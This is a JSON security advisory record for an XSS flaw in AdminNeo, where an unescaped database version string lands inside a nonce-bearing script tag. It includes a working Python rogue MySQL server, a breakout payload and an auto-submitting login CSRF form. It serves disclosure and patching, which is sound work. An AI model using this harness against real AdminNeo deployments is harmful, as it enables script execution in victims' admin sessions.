{"id":"CVE-2026-96632","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-96632","summary":"AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)","details":"## Summary\n\nAdminNeo inserts the database server's version string into a `<script>` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.\n\nOriginally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj\n\n## Prerequisites\n\n- Target runs AdminNeo\n- Attacker controls a reachable MySQL server (a 80-line Python script)\n\n## Root Cause\n\n`admin/core/Admin.php`, lines 1285-1286:\n\n```php\necho script(\"let autocompletion;\\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('\" .\n    Connection::get()->getVersion() . \"', '\" . Connection::get()->getFlavor() . \"', autocompletion); });\");\n```\n\n`script()` wraps the output in `<script nonce=\"VALID_NONCE\">`. Return value of `Connection::get()->getVersion()` is not escaped.\n\n## Steps To Reproduce\n\n### 1. Build the environment\n\n**Dockerfile** (AdminNeo):\n\n```dockerfile\nFROM php:8.3-cli\nCOPY adminneo.php /var/www/adminneo.php\nWORKDIR /var/www\nEXPOSE 8081\nCMD [\"php\", \"-S\", \"0.0.0.0:8081\"]\n```\n\n**rogue_mysql.py** (fake MySQL server that accepts any login):\n\n```python\nimport socket, struct, threading\n\nPAYLOAD = \"1');alert(origin)//\"\n\n# Capability flags the client expects\nCAP_PROTOCOL_41     = 0x0200\nCAP_SECURE_CONNECTION = 0x8000\nCAP_PLUGIN_AUTH     = 0x00080000\nCAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION\nCAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)\n\ndef make_packet(seq, payload):\n    length = struct.pack(\"<I\", len(payload))[:3]\n    return length + bytes([seq]) + payload\n\ndef make_greeting(version_str):\n    pkt  = b\"\\x0a\"                                  # protocol version 10\n    pkt += version_str.encode() + b\"\\x00\"            # version string\n    pkt += struct.pack(\"<I\", 1)                      # connection id\n    pkt += b\"\\x41\" * 8                               # auth plugin data part 1\n    pkt += b\"\\x00\"                                   # filler\n    pkt += struct.pack(\"<H\", CAPS_LOW)               # capability flags lower\n    pkt += b\"\\x21\"                                   # charset utf8\n    pkt += struct.pack(\"<H\", 0x0002)                 # status flags\n    pkt += struct.pack(\"<H\", CAPS_HIGH)              # capability flags upper\n    pkt += b\"\\x15\"                                   # auth data length (21)\n    pkt += b\"\\x00\" * 10                              # reserved\n    pkt += b\"\\x41\" * 12 + b\"\\x00\"                    # auth plugin data part 2\n    pkt += b\"mysql_native_password\\x00\"              # auth plugin name\n    return make_packet(0, pkt)\n\ndef make_ok(seq):\n    pkt  = b\"\\x00\"          # OK marker\n    pkt += b\"\\x00\"          # affected rows\n    pkt += b\"\\x00\"          # last insert id\n    pkt += struct.pack(\"<H\", 0x0002)  # status flags\n    pkt += struct.pack(\"<H\", 0)       # warnings\n    return make_packet(seq, pkt)\n\ndef make_eof(seq):\n    pkt  = b\"\\xfe\"\n    pkt += struct.pack(\"<H\", 0)       # warnings\n    pkt += struct.pack(\"<H\", 0x0002)  # status flags\n    return make_packet(seq, pkt)\n\ndef make_err(seq, msg=b\"not supported\"):\n    pkt  = b\"\\xff\"\n    pkt += struct.pack(\"<H\", 1045)\n    pkt += b\"#HY000\"\n    pkt += msg\n    return make_packet(seq, pkt)\n\ndef handle(conn):\n    conn.sendall(make_greeting(PAYLOAD))\n    try:\n        conn.recv(4096)     # client login request\n    except Exception:\n        conn.close()\n        return\n    conn.sendall(make_ok(2))  # accept login\n\n    # Answer any queries Adminer sends after login\n    while True:\n        try:\n            data = conn.recv(4096)\n            if not data:\n                break\n            seq = data[3] + 1\n            # Send ERR for all queries (Adminer still has the version in memory)\n            conn.sendall(make_err(seq))\n        except Exception:\n            break\n    conn.close()\n\nsrv = socket.socket()\nsrv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nsrv.bind((\"0.0.0.0\", 3307))\nsrv.listen(5)\nprint(\"[*] Rogue MySQL on :3307 - version: \" + PAYLOAD)\nwhile True:\n    conn, addr = srv.accept()\n    print(f\"[+] Connection from {addr}\")\n    threading.Thread(target=handle, args=(conn,)).start()\n```\n\n```shell\n# Terminal 1: start Adminer\ndocker build -t adminer-xss .\ndocker run -d -p 8081:8081 --name adminer-xss adminer-xss\n\n# Terminal 2: start rogue MySQL\npython3 rogue_mysql.py\n```\n\n### 2. Trigger the XSS\n\nOpen a browser and navigate to `http://localhost:8081/adminneo.php`:\n\n1. Select driver: **MySQL**\n2. Server: `HOST_IP:3307` (IP of the machine running rogue_mysql.py)\n3. Username: `root`\n4. Password: `x`\n5. Click Login.\n\nThe rogue server accepts the login. AdminNeo renders the dashboard and includes:\n\n```html\n<script nonce=\"REAL_NONCE\">let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>\n```\n\nThe browser executes `alert(origin)` with full CSP bypass because the script tag carries a valid nonce.\n\n### 3. Trigger it via Login CSRF\n\nThe login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:\n\n```html\n<form id=\"f\" method=\"POST\" action=\"http://TARGET/adminneo.php\">\n  <input name=\"auth[driver]\" value=\"mysql\">\n  <input name=\"auth[server]\" value=\"ROGUE_IP:3307\">\n  <input name=\"auth[username]\" value=\"root\">\n  <input name=\"auth[password]\" value=\"x\">\n</form>\n<script>document.getElementById('f').submit()</script>\n```\n\n## Collaborator Request\n\nThis vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!","published":"2026-10-30T22:52:23Z","modified":"2026-10-30T23:00:04.305241731Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"adminneo-org/adminneo","fixedVersion":"5.5.1"}],"fix":{"url":"https://github.com/adminneo-org/adminneo/commit/2c86406808bc2517efb35f5595b3a05761c2eacd","label":"adminneo-org/adminneo@2c86406"},"references":[{"type":"WEB","url":"https://github.com/adminneo-org/adminneo/security/advisories/GHSA-rx7m-wxwq-vxr9"},{"type":"WEB","url":"https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj"},{"type":"WEB","url":"https://github.com/adminneo-org/adminneo/commit/2c86406808bc2517efb35f5595b3a05761c2eacd"},{"type":"PACKAGE","url":"https://github.com/adminneo-org/adminneo"},{"type":"WEB","url":"https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-30T23:00:04.305241731Z"}}